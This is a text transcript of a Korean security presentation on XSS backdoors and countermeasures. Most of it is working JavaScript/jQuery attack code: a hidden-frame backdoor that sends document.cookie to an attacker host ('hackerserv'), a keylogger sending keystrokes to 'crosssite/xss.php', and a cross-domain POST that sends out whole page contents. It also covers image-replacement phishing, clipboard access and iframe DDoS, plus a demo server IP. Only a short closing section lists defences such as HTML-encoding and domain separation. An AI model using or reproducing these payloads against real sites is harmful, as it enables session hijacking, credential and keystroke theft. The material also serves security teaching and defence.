해킹기법 시연과 대응전략 (xss backdoor) hellsonic.tistory
DESCRIPTION
해킹기법 시연과 대응전략 (XSS Backdoor) http://hellsonic.tistory.com. OWASP Top 10. 어디서나 쉽게 발견되는 XSS. How Does XSS Work?. JavaScript. How Does XSS Work?. MITM. Request 스니 핑. 변조된 Response. ARP 스푸핑을 이용한 XSS. XSS Backdoor. XSS Backdoor 의 원리. ㉠ . 현재 프레임을 100%,100% 으로 생성 - PowerPoint PPT PresentationTRANSCRIPT
해킹기법 시연과 대응전략(XSS BACKDOOR)
HTTP: / /HEL LSONIC .T ISTORY.COM
OWASP TOP 10
어디서나 쉽게 발견되는 XSS
HOW DOES XSS WORK?
JavaScript
HOW DOES XSS WORK?
변조된 Response
ARP 스푸핑을 이용한 XSS
Request 스니핑
MITM
XSS BACKDOOR
XSS BACKDOOR 의 원리㉠ . 현재 프레임을 100%,100% 으로 생성 - 실제 보여질 페이지 (main 프레임 )
㉡ . 부모 페이지에서 (hack frame) main 프레임을 제어- hack frame 에서 main frame 조작가능- 사용자가 페이지 이동을 하여도 hack frame 은 유지되고 main frame에서만 페이지 이동 .
- Hack frame 에서는 해커서버의 파일을 지속적으로 열어서 실행 ( 실시간 명령가능 )
XSS Shell
IFRAME 의 특성
Main Window
None Display FrameView Frame
Target Browser
HackFrame
Width:0Height:0
FRAME 의 생성으로 제어가능
www.aaa.comFrame 1
Frame 2(www.aaa.com)
Frame2 를 Frame1 에서 생성
XSS BACKDOOR - TIME LINE
User Attacker Server
Inject XSS Code
Visit Server
Receive XSS and infected
Request Command Page(Ajax)
Receive Com-mand and excute
setInterval (req(),3000);
XSS BACKDOOR 시연
XSS BACKDOOR 시연HTTP://175.115.221.25/ISEC/
HACK.JS (JQUERY)
var data = ‘HackFrame<script src=http://hackerserv/control.php?cookie='+document.cookie+'></'+'script><script src=http://hackerserv/'+document.cookie+'.js></'+'script>');’;
var str += "<iframe frameborder=0 id=mainframe name=mainframe height='100%' width=80% src=./ style='float:left'></iframe>";str += "<div id=hackfr style='float:left;'>HackFRAME</div>";str += "<script>";str += "function hack(){";str += “ $('#hackfr').html(data)";str += “ setTimeout('hack()',5000);";str += "}";str += “ setTimeout('hack()',50);"str += "<"+"/script>";
$("body",parent.document).html(str);
KEYLOGGER(JQUERY)
$('#mainframe').keydown(function(event){$.get(http://crosssite/xss.php?
data=+event.keyCode,function(){});
})
CHANGE BANNER (JQUERY)
$('#mainframe').contents().find(‘#mainbanner').html(“Hi isec!”);
이미지 변조 피싱 (JQUERY)
모든 이미지의 변조$(“img”).attr(“src”, “http://hack/hacker.jpg”);
PAGE VIEWER(JQUERY)
var code = $('#mainframe').contents().find('html').html();//code 변수에 mainframe 의 코드가 모두 담김
Access Mail Service Frame
CROSS DOMAIN POST 전송
Main Frame
HackFrame
Width:0Height:0
None Display FrameView Frame1. None Display Frame 생성2. FORM(method=post) 생성3. Input 생성 -> 전송 값 삽입4. 전송
CROSS DOMAIN POST 전송function crossDomainPost(hackdata) {
var iframe = document.createElement('iframe');var uniqueString = 'hack2';document.body.appendChild(iframe);iframe.style.display = 'none';iframe.contentWindow.name = uniqueStringvar form = document.createElement('form');form.target = uniqueString;form.action = 'http://crosssite/xss.php?cookie='+document.cookie;form.method = 'POST';var input = document.createElement('input');input.type = 'hidden';input.name = 'data';input.value = hackdata;form.appendChild(input);document.body.appendChild(form);form.submit();document.removeChild(input);document.removeChild(form);document.removeChild(iframe);
}var hackdata = $('#mainframe').contents().find('html').html();crossDomainPost(hackdata);
CLIPBOARD STEAL
//ClipBoard Accessvar cp = "clip board!";window.clipboardData.setData('Text', cp);
CLIPBOARD STEAL
http://code.google.com/p/zeroclipboard/
ZeroClipboard플래시 (swf) 를 이용한 경고없는 Clipboard AccessCross-Browser 지원
DDOS
DDOS(IFRAME)
XSS 대응방안
Server-Side< <
> >
사용자가 입력한 <, > 를 HTML 인코딩 함으로써스크립트 사용을 방지But.. !!
필터링을 할 수 없는 경우 ?
왜 <, > 필터링을 할 수 없는가 ?
100% 대응방안 ?
3 주 만에 총 지급상금 4 만 달러 초과 !
그럼 어떻게 ?1. DTD 선언 ( 웹 표준 준수 )
<a style=“xss:expression(alert(/xss/));”>2. XSS Database 구축 ( 정규식 이용 )
(script -> x-script 치환 등 ..)“script” -> “”* “scrscriptipt” -> “script”
3. 웹 개발자의 보안 인식 강화4. 주기적인 보안 컨설팅 , 취약점 점검5. 서비스 사용자의 보안 인식 강화6. 필요로 하지 않는 사이트는 게시판 에디터 (HTML) 의 사용을 금지7. 중요한 ( 로그인 , 관리자 ) 페이지와 XSS 취약점이 있을수 있는 페이지의 도메인 분리